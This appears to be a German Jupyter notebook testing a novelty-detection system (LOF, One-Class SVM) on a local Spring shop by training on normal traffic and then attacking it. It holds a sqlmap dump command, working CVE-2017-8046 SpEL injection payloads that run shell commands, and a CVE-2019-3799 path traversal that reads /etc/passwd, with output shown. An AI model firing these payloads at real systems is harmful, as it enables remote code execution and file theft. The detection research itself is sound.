Testdaten

Generierung der Testdaten mit legitimen Nutzeranfragen

In [48]:
import requests
from pandas.io.json import json_normalize
import matplotlib
import random
import string
from IPython.core.display import HTML
import pandas as pd
import matplotlib.pyplot as plt
import json
In [52]:
requests.get("http://localhost:5000/start-learning")
requests.get("http://localhost:5000/purge-data")
i=0
while i<1000:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
    requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
    i +=1
    

Generierte Daten werden vom Detection System heruntergeladen

In [53]:
res = requests.get("http://localhost:5000/getdata-byfunction")
data = res.json()
df = json_normalize(data)
df = df.loc[df['function'] == '/design;POST']
In [71]:
df.describe()
Out[71]:
computer- Call Counter computer- Total Exec Time computer- Total ret Object Size convert- Call Counter convert- Total Exec Time convert- Total ret Object Size createBinderInstance- Call Counter createBinderInstance- Total Exec Time createBinderInstance- Total ret Object Size findById- Call Counter ... supportsParameter- Total ret Object Size toString- Call Counter toString- Total Exec Time toString- Total ret Object Size valueOf- Call Counter valueOf- Total Exec Time valueOf- Total ret Object Size values- Call Counter values- Total Exec Time values- Total ret Object Size
count 1000.0 1000.000000 1000.0 1000.0 1.000000e+03 1000.000000 1000.0 1.000000e+03 1000.000000 1000.0 ... 1.0 1000.0 1.000000e+03 1000.000000 1000.0 1.000000e+03 1000.000000 1.0 1.0 1.0
mean 1.0 3709.788000 61.0 1.0 3.078880e+07 50.585000 2.0 1.577307e+04 189.716000 1.0 ... 75.0 5.0 2.868099e+07 252.925000 1.0 1.286019e+04 5.870000 1.0 12617.0 46.0
std 0.0 2883.665468 0.0 0.0 5.121942e+06 5.565047 0.0 1.786931e+05 0.532567 0.0 ... NaN 0.0 3.690805e+06 27.825233 0.0 1.045748e+05 2.099406 NaN NaN NaN
min 1.0 2189.000000 61.0 1.0 2.633031e+07 41.000000 2.0 6.590000e+03 187.000000 1.0 ... 75.0 5.0 2.487094e+07 205.000000 1.0 5.598000e+03 3.000000 1.0 12617.0 46.0
25% 1.0 2606.000000 61.0 1.0 2.834063e+07 43.000000 2.0 7.931250e+03 190.000000 1.0 ... 75.0 5.0 2.671802e+07 215.000000 1.0 7.605000e+03 3.000000 1.0 12617.0 46.0
50% 1.0 2907.500000 61.0 1.0 2.948424e+07 53.000000 2.0 8.878000e+03 190.000000 1.0 ... 75.0 5.0 2.763466e+07 265.000000 1.0 8.857500e+03 6.000000 1.0 12617.0 46.0
75% 1.0 4435.500000 61.0 1.0 3.103500e+07 56.000000 2.0 1.056425e+04 190.000000 1.0 ... 75.0 5.0 2.917216e+07 280.000000 1.0 1.080275e+04 8.000000 1.0 12617.0 46.0
max 1.0 76150.000000 61.0 1.0 1.164792e+08 56.000000 2.0 5.659673e+06 190.000000 1.0 ... 75.0 5.0 6.330502e+07 280.000000 1.0 3.314732e+06 8.000000 1.0 12617.0 46.0

8 rows × 55 columns

Evaluation Methoden Laufzeit

In [72]:
df.loc[:, "computer- Total Exec Time"].describe()
Out[72]:
count     1000.000000
mean      3709.788000
std       2883.665468
min       2189.000000
25%       2606.000000
50%       2907.500000
75%       4435.500000
max      76150.000000
Name: computer- Total Exec Time, dtype: float64
In [73]:
df.boxplot(column=['convert- Total Exec Time'], figsize=(5,25))
Out[73]:
<matplotlib.axes._subplots.AxesSubplot at 0x7f7a695a6518>
In [74]:
df.hist(column=['convert- Total Exec Time'])
Out[74]:
array([[<matplotlib.axes._subplots.AxesSubplot object at 0x7f7a696d9b38>]],
      dtype=object)

Evaluation Speicherbedarf der Methodenrückgabe

In [75]:
df.filter(regex='^(.*Object.*)').boxplot(figsize=(40,25))
Out[75]:
<matplotlib.axes._subplots.AxesSubplot at 0x7f7a6955dda0>

Evaluation Methodenname

In [76]:
#df.filter(regex='^(.*Counter.*)').hist(figsize=(40,25));
df.filter(regex='^(.*Counter.*)').loc[:, df.std() > 0].shape[1]
Out[76]:
0

Ausnutzen der SQL Sicherheitslücke

python2 sqlmap.py --wizard -u http://localhost:8080/design --dump

In [77]:
res = requests.get("http://localhost:5000/getdata-byfunction")
data = res.json()
df = json_normalize(data)
df = df.loc[df['function'] == '/design;POST']
In [78]:
df.filter(regex='^(.*Object.*)').boxplot(figsize=(40,25));
In [79]:
df.filter(regex='^(.*Counter.*)').loc[:, df.std() > 0].shape[1]
Out[79]:
0

Trainieren und Testen des Novelty Detection Models

In [80]:
from sklearn.preprocessing import StandardScaler
from sklearn.neighbors import LocalOutlierFactor
from sklearn.svm import OneClassSVM

import collections


requests.get("http://localhost:5000/start-learning")
requests.get("http://localhost:5000/purge-data")
i=0
while i<1000:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
    requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
    i +=1


#Get Data
res = requests.get("http://localhost:5000/getdata-byfunction")
data = res.json()
df = json_normalize(data)

df = df.fillna(value=0)
df = df[df['function']=='/design;POST']
df = df.filter(regex='^((?!Time).)*$')

#Extract columns (mustn't change because tranform does notw work; this is an ultimate anomaly sign!)
columns = df.columns
columns = columns.drop('function')
columns = columns.drop('request')

# Separating out the features
data = df.loc[:, columns].values

# Scaling Data
scaler = StandardScaler()
data = scaler.fit_transform(data)

##train model##

#LocalOutlierFactor
lof = LocalOutlierFactor(algorithm='auto', contamination='auto', novelty=True)
lof.fit(data)

#One Class SVM
ocs = OneClassSVM(kernel="rbf", gamma='scale')
ocs.fit(data)
Out[80]:
OneClassSVM(cache_size=200, coef0=0.0, degree=3, gamma='scale', kernel='rbf',
      max_iter=-1, nu=0.5, random_state=None, shrinking=True, tol=0.001,
      verbose=False)

Testdaten erstellen und Modell Testen

In [81]:
requests.get("http://localhost:5000/purge-data")
i=0
while i<99:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
    requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
    i +=1
    

res = requests.get("http://localhost:5000/getdata-byfunction")
data = res.json()
df = json_normalize(data)
df = df[df['function']=='/design;POST']
df = df.filter(regex='^((?!Time).)*$')
df = df.merge(pd.DataFrame(columns=columns), how='left')
df = df.fillna(value=0)
data = df.loc[:, columns].values
data = scaler.transform(data)

pred_lof = lof.predict(data)

pred_ocs = ocs.predict(data)

display("Local Outliner Factor:")
display("Outliers: " + str(collections.Counter(pred_lof)[-1]))
display("Non Outliers: " + str(collections.Counter(pred_lof)[1]))


display("One Class SVM:")
display("Outliers: " + str(collections.Counter(pred_ocs)[-1]))
display("Non Outliers: " + str(collections.Counter(pred_ocs)[1]))
'Local Outliner Factor:'
'Outliers: 2'
'Non Outliers: 97'
'One Class SVM:'
'Outliers: 54'
'Non Outliers: 45'

python2 sqlmap.py --wizard -u http://localhost:8080/design --dump

In [82]:
res = requests.get("http://localhost:5000/getdata-byfunction")
data = res.json()
df = json_normalize(data)
df = df[df['function']=='/design;POST']
df = df.filter(regex='^((?!Time).)*$')
df = df.merge(pd.DataFrame(columns=columns), how='left')
df = df.fillna(value=0)
data = df.loc[:, columns].values
data = scaler.transform(data)

pred_lof = lof.predict(data)

pred_ocs = ocs.predict(data)

display("Local Outliner Factor:")
display("Outliers: " + str(collections.Counter(pred_lof)[-1]))
display("Non Outliers: " + str(collections.Counter(pred_lof)[1]))


display("One Class SVM:")
display("Outliers: " + str(collections.Counter(pred_ocs)[-1]))
display("Non Outliers: " + str(collections.Counter(pred_ocs)[1]))
'Local Outliner Factor:'
'Outliers: 2'
'Non Outliers: 97'
'One Class SVM:'
'Outliers: 54'
'Non Outliers: 45'

Implementation Metrik Server

In [83]:
requests.get("http://localhost:5000/stop-learning")
i=0
while i<100:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
    requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
    i +=1
    
req = requests.get("http://localhost:5000/get-new-anomalies")
HTML(req.text)
Out[83]:

Local Outlier Factor (LOF)


Outliers: 28
Non Outliers: 172
86.0% are non outliers

Details of anomalous requests:


/design(Score lof--2.908264060897961) Parameters: name: yrmtSMFVlfotQT4SN5SG08iM2d1IyebOwC; components: 1TB;
/design(Score lof--2.5768809531542667) Parameters: name: bl2azJmcv1O3CShT0tXOMLg1x1cpdG1pEQzU3xo8fkartjs3Y; components: 1TB;
/design(Score lof--2.95626030586918) Parameters: name: jgmWKafE86vddlsEFpp; components: 1TB;
/design(Score lof--2.963621687052057) Parameters: name: WjnVi5nxKHrgd8r83cpGfCCz; components: 1TB;
/design(Score lof--2.6862074884556004) Parameters: name: EMp0Wn3MQPZRn8A3KsE7yuROjFdpEokRcKmJ2KyxO; components: 1TB;
/design(Score lof--2.9587874093730213) Parameters: name: r8Ar41sKI6p9hRYo16GA9F; components: 1TB;
/design(Score lof--2.95626030586918) Parameters: name: cI0gq3ie8r5juo0yXFg; components: 1TB;
/design(Score lof--2.907455411556294) Parameters: name: jP6NlgbRbC3OnM3yGEySFUrsytsY1Lil; components: 1TB;
/design(Score lof--2.982806166217208) Parameters: name: b5VIq; components: 1TB;
/design(Score lof--2.633153381462119) Parameters: name: SgiD0TTpQNXEfRNPPqijSx4VkmYb9Va1IFkZqi2TN6; components: 1TB;
/design(Score lof--2.7926431828771885) Parameters: name: 5lcswpGjhMylpQWO9082AfovSKk9DwdoTZ3bs2Q; components: 1TB;
/design(Score lof--2.6861617115856924) Parameters: name: Eo4UI6iYuFuh7R9gJwdUMdjKLzNElSlP9RUmNWQRHx; components: 1TB;
/design(Score lof--2.9596663486412123) Parameters: name: i6QAFGrok2tjAv; components: 1TB;
/design(Score lof--2.632513133255368) Parameters: name: xoma0GVTj1uMF7RlIvwMEYk5Mjjqy4VkvNfcsw05T9L; components: 1TB;
/orders/current;jsessionid=D25717CDC94917A3BAC813F2F5171D2B(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=CE4A93C99A065213451DCC618A2A668D(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=6E3AFB82198917B1D19C6264218837DE(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=11AFCD0C21F12A05519426E2FDDFE773(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=890D10300D3BBA92C6BB49597A98F618(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=AF9CFA611D236AB8FDBD3603DDC4B6AC(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=D8654DF4350C53AB460F50F27B491E8F(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=84666B0EA70EB06FA471AC99CC179C5A(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=F4251B41F469C2AFF523BC9ACC68D510(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=C0660DAEE52149DB40E7DDEEB0788802(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=508D3AD9AC1578FD98D81929606FB473(Score lof--122243379.9120194) Parameters:
/orders/current;jsessionid=0195AFAF627A7C9A08CC26E938E6D9A8(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=D51C220AD1F53D6091A6EED4698C8517(Score lof--88521068.32249695) Parameters:
/orders/current;jsessionid=3E191143BDC584C67F83D8B5F8267850(Score lof--88521068.32249695) Parameters:
In [84]:
req = requests.get("http://localhost:5000/get-new-anomalies-data")
data = req.json()
requests.get("http://localhost:5000/purge-predict")
lof_decision_data = data['lof_decision_data']
df = pd.DataFrame(lof_decision_data)
plt.figure(figsize=(12, 6))
plt.hist(df, bins=5);

CVE-2017-8046 (SpringBreak)

Modell trainieren

In [90]:
requests.get("http://localhost:5000/purge-data")
requests.get("http://localhost:5000/start-learning")
headers = {'content-type': 'application/json'}
i=0
while i<2000:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(0, 20)))
    random_attribute = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(0, 20)))
    requests.post('http://localhost:8080/entity', json = {'name': random_name, 'attribute': random_attribute}, headers=headers)
    i +=1

Modell testen

In [91]:
requests.get("http://localhost:5000/stop-learning")
#requests.get("http://localhost:5000/purge-predict")
headers = {'content-type': 'application/json'}
i=0
while i<97:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(0, 20)))
    random_attribute = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(0, 20)))
    requests.post('http://localhost:8080/entity', json = {'name': random_name, 'attribute': random_attribute}, headers=headers)
    i +=1

req = requests.get("http://localhost:5000/get-new-anomalies")
HTML(req.text)
Out[91]:

Local Outlier Factor (LOF)


Outliers: 1
Non Outliers: 96
98.96907216494846% are non outliers

Details of anomalous requests:


/entity(Score lof--3920177040.192726) Parameters:
In [92]:
requests.get("http://localhost:5000/purge-predict")
headers = {'content-type': 'application/json-patch+json'}
requests.patch('http://localhost:8080/entity/1/', data = json.dumps([{ 'op' : 'replace', 
                                                          'path' : 'T(java.lang.Thread).sleep(1000).x"', 
                                                          'value' : 'pwned'}]), headers=headers)
requests.patch('http://localhost:8080/entity/1/', data = json.dumps([{ 'op' : 'replace', 
                                                          'path' : 'T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("ifconfig").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x', 
                                                          'value' : 'pwned'}]), headers=headers)
requests.patch('http://localhost:8080/entity/1/', data = json.dumps([{ 'op' : 'replace', 
                                                          'path' : 'T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("df -h").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x', 
                                                          'value' : 'pwned'}]), headers=headers)

req = requests.get("http://localhost:5000/get-new-anomalies")
HTML(req.text)
Out[92]:

Local Outlier Factor (LOF)


Outliers: 3
Non Outliers: 0
0.0% are non outliers

Details of anomalous requests:


/entity/1/(Score lof--102.64060304418831) Parameters:
/entity/1/(Score lof--108.46925327314736) Parameters:
/entity/1/(Score lof--108.30340366241401) Parameters:
In [93]:
headers = {'content-type': 'application/json-patch+json'}
req = requests.patch('http://localhost:8080/entity/1/', data = json.dumps([{ 'op' : 'replace', 
                                                          'path' : 'T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("df -h").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x', 
                                                          'value' : 'pwned'}]), headers=headers)
HTML(req.text)
Out[93]:
Filesystem Size Used Avail Use% Mounted on udev 7.8G 0 7.8G 0% /dev tmpfs 1.6G 1.9M 1.6G 1% /run /dev/mapper/ubuntu--vg-root 467G 117G 327G 27% / tmpfs 7.8G 255M 7.6G 4% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 7.8G 0 7.8G 0% /sys/fs/cgroup /dev/loop0 2.3M 2.3M 0 100% /snap/gnome-calculator/260 /dev/loop2 36M 36M 0 100% /snap/gtk-common-themes/1198 /dev/loop4 4.2M 4.2M 0 100% /snap/gnome-calculator/352 /dev/loop3 92M 92M 0 100% /snap/core/6531 /dev/loop5 15M 15M 0 100% /snap/gnome-characters/206 /dev/loop6 54M 54M 0 100% /snap/core18/941 /dev/loop7 4.2M 4.2M 0 100% /snap/gnome-calculator/406 /dev/loop9 90M 90M 0 100% /snap/core/6673 /dev/loop11 1.0M 1.0M 0 100% /snap/gnome-logs/57 /dev/loop10 3.8M 3.8M 0 100% /snap/gnome-system-monitor/70 /dev/loop12 15M 15M 0 100% /snap/gnome-logs/45 /dev/loop13 18M 18M 0 100% /snap/pdftk/9 /dev/loop15 144M 144M 0 100% /snap/gnome-3-28-1804/23 /dev/loop16 15M 15M 0 100% /snap/gnome-characters/254 /dev/loop17 54M 54M 0 100% /snap/core18/782 /dev/loop18 174M 174M 0 100% /snap/spotify/34 /dev/loop19 3.8M 3.8M 0 100% /snap/gnome-system-monitor/77 /dev/loop20 152M 152M 0 100% /snap/gnome-3-28-1804/36 /dev/loop21 35M 35M 0 100% /snap/gtk-common-themes/818 /dev/loop22 54M 54M 0 100% /snap/core18/731 /dev/loop23 141M 141M 0 100% /snap/gnome-3-26-1604/74 /dev/loop24 141M 141M 0 100% /snap/gnome-3-26-1604/82 /dev/loop25 1.0M 1.0M 0 100% /snap/gnome-logs/61 /dev/nvme0n1p2 705M 225M 429M 35% /boot /dev/nvme0n1p1 511M 6.1M 505M 2% /boot/efi tmpfs 1.6G 120K 1.6G 1% /run/user/1000 /dev/loop26 90M 90M 0 100% /snap/core/6818 /dev/loop1 181M 181M 0 100% /snap/spotify/35 /dev/loop27 15M 15M 0 100% /snap/gnome-characters/258 /dev/loop28 3.8M 3.8M 0 100% /snap/gnome-system-monitor/81 /dev/loop29 152M 152M 0 100% /snap/gnome-3-28-1804/40 {"cause":{"cause":null,"message":"EL1010E: Property or field 'x' cannot be set on object of type 'java.lang.Integer' - maybe not public?"},"message":"Could not read an object of type class ch.infosec.hslushop.MyEntity from the request!; nested exception is org.springframework.expression.spel.SpelEvaluationException: EL1010E: Property or field 'x' cannot be set on object of type 'java.lang.Integer' - maybe not public?"}

CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal

In [94]:
requests.get("http://localhost:5000/purge-predict")
req = requests.get("http://localhost:8080/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd")
HTML(req.text)
Out[94]:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false whoopsie:x:112:117::/nonexistent:/bin/false kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:114:119::/var/lib/saned:/usr/sbin/nologin pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false tobias:x:1000:1000:tobias,,,:/home/tobias:/bin/bash
In [95]:
req = requests.get("http://localhost:5000/get-new-anomalies")
HTML(req.text)
Out[95]:

Local Outlier Factor (LOF)


Outliers: 1
Non Outliers: 0
0.0% are non outliers

Details of anomalous requests:


/test/pathtraversal/master/..%2f..%2f..%2f..%2f../etc/passwd(Score lof--26295334022325.42) Parameters:

Abweichungen bei Testwiederholung

In [55]:
requests.get("http://localhost:5000/start-learning")
requests.get("http://localhost:5000/purge-data")
i=0
while i<1000:
    random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
    requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
    i +=1
requests.get("http://localhost:5000/stop-learning")
Out[55]:
<Response [200]>
In [ ]:
outliers = list()
i2 = 0
while i2<100:
    i=0
    while i<100:
        random_name = ''.join(random.choices(string.ascii_lowercase +string.ascii_uppercase + string.digits, k=random.randint(5, 49)))
        requests.post('http://localhost:8080/design', data = {'name': random_name, 'components': random.choice(['INTELI82', 'INTELI85', '4GB', '16GB', '1TB', '512GB', '256GB'])})
        i +=1

    req = requests.get("http://localhost:5000/get-new-anomalies")
    outliers.append(int(req.text.split('Outliers: ')[1].split('<')[0]))
    requests.get("http://localhost:5000/purge-predict")
    i2+=1
In [46]:
df = pd.DataFrame(outliers)
display(df.min())
display(df.max())
0    0
dtype: int64
0    6
dtype: int64
In [41]:
df.mean()
Out[41]:
0    2.445410e+97
dtype: float64
In [47]:
df.describe()
Out[47]:
0
count 100.000000
mean 2.650000
std 1.445124
min 0.000000
25% 1.000000
50% 3.000000
75% 4.000000
max 6.000000
In [ ]: